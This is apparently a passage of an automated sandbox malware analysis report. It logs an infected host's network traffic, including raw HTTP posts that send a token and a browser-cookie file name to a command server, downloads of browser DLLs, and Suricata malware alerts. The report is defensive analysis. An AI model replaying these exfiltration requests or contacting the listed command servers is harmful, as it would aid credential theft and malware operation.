0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BFHDHJKKJDHJJJJKEGHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008414001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file"------KEHCAFHIJECGCAKFCGDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file"------IEHDBGDHDAECBGDHJKFI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 34 32 41 37 30 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B42A70B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 34 32 41 37 30 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B42A70B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEHJJECAEGCAAAAEGIEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 23148Content-Type: multipart/form-data; boundary=------------------------JNprR3xICfYm3sw5Z5j6gKData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4a 4e 70 72 52 33 78 49 43 66 59 6d 33 73 77 35 5a 35 6a 36 67 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 63 65 68 61 6a 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 91 92 ba 06 b2 ef 97 54 ec dd b0 56 aa 73 88 e8 56 a8 e7 44 55 ee 2b 24 d6 a4 7a 5d 13 a0 64 20 df a4 2f d1 f8 9b b8 b7 0a b8 ca 43 54 ce 83 e6 f6 3c d0 e0 71 6e 13 2f 5e 60 1c 01 b5 2c 64 7b 96 39 cc fc fb 77 42 30 bb 8b 22 53 05 af 1e ea 1a 23 99 bc f8 a4 ff 86 bc 7c 63 44 bb 68 8d c3 a3 3c 42 ee 86 a9 c0 90 ed 34 e6 55 ce 9e 19 e8 23 c7 28 e9 8e e6 e6 d1 d0 6a 75 82 a9 ed ab 0f 5b 02 94 59 91 cf 27 b4 88 d6 d2 95 b7 8a af 04 ed 2b a1 d4 3b 66 8b 83 3b 4a 70 0c 57 5c 2e 55 89 50 81 6f 0b 83 f6 6a 60 7c 49 0a 0b 08 ee 20 55 a3 de fb 70 3b af f4 71 e9 4f f7 b7 fb f8 03 68 72 17 45 bc 2c bc 7f ea b4 2d f0 8d d6 b1 42 8b 84 b7 3b a7 33 48 86 a0 ed 10 28 33 32 5b 12 ab 69 d7 c7 05 fd fd fa cf 35 0d b0 d6 1c 8e 5c db 7a 9f fe b2 71 9d 96 59 9b 8e af 7e 94 11 a4 8c 2d 7c 6e a2 9c 1a 83 b0 fe d5 1c 29 d0 bc 27 03 d7 29 0d 5a 45 f4 d4 50 64 d6 35 92 e3 1e d7 c6 f3 7e a3 f4 ec 21 e2 32 fd 1b 71 df de 84 cb 18 b4 a1 6f cf bc 6b 95 9d 12 36 13 75 fa 77 a0 d6 07 ba 32 8b 14 de ca b0 74 03 fb 9b c5 d1 bb 86 7d fb 29 c3 fe 89 ac 78 a6 44 11 8d 66 39 81 73 3e 3e 70 58 33 4a 5d fe af db e5 16 93 bd 2b 86 00 dc 90 d7 25 16 2c 72 14 d1 09 42 9f af 95 34 26 42 2b b8 78 e9 8c a3 4b 7e 00 50 eb b9 63 50 b7 f2 f3 cb 79 89 0e 32 22 ea 10 ca 3e f7 d0 b5 34 9b e8 fb d0 29 65 89 a1 cd ba c0 de 41 95 c2 87 3c 05 87 3a 63 b4 ce 83 49 52 98 01 82 92 8b 68 c0 28 ba 57 94 63 72 b9 ec 0e 5b 5f 64 0a 70 b0 61 3a b3 93 7d 24 c8 6a 01 4d 66 8b dd 53 ab 1a 52 87 4f 59 8b db 70 d9 fa c5 eb 23 5f cf 3f 58 c4 4e 41 aa ba 4f dc cd f4 13 ed c6 c4 3b 37 14 c1 2e 4f 43 22 ee 13 c7 74 75 ba 70 40 a4 c4 fc 4d 86 c2 35 9a 4c d5 d9 9a 30 0e 46 d7 b8 af 26 10 0c a2 36 ad 05 52 f4 59 49 1d bf 1a ea 44 fd 8c 76 10 c4 97 d2 39 18 cc ab d8 12 6e ad 15 07 29 b1 7a 71 7c 33 b4 47 5b ab cb 53 5a 15 d9 89 16 6b d8 88 ab 09 1a 45 95 a7 0a 3d e9 f3 d8 48 6e e3 b0 30 59 0c 8d 9f 15 51 07 18 7a 05 9b ed dc b5 41 e2 9f 09 1d 29 53 a7 cc ab ca 21 f2 f0 ec ac 0f bc db 26 ae 1e 38 41 9c bc f6 d5 73 26 7a c7 67 39 b5 8f e0 e0 94 88 4c 15 be 61 91 70 b3 12 b8 a0 b7 4c 20 72 66 fc a1 c2 1c 41 c0 13 29 a0 5b 97 3a b1 84 86 ee 3e 66 46 3a f2 db fe 1c 4d a0 66 4f ef a1 0e 00 bb d4 ad 38 44 7a 3a 3c 74 27 dc 21 a9 de 11 d0 98 5c f5 20 e4 18 17 3d 75 69 f6 5b 35 a1 2d 5b 8e 54 91 b4 70 b9 d3 d7 de 61 7c 70 90 3f fe 07 50 a9 69 81 3b c8 4a 07 c1 db ac 84

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49793 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49815 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49816 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49821 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49827 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49834 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49842 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49843 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49849 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49850 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49856 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49860 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49865 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49884 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49893 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49897 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49908 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49918 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49907 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49941 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49952 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49964 -> 172.67.162.84:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0001BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_0001BE30

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u9zS8ZvMfDAPD9P&MD=8g8SzMP5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u9zS8ZvMfDAPD9P&MD=8g8SzMP5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
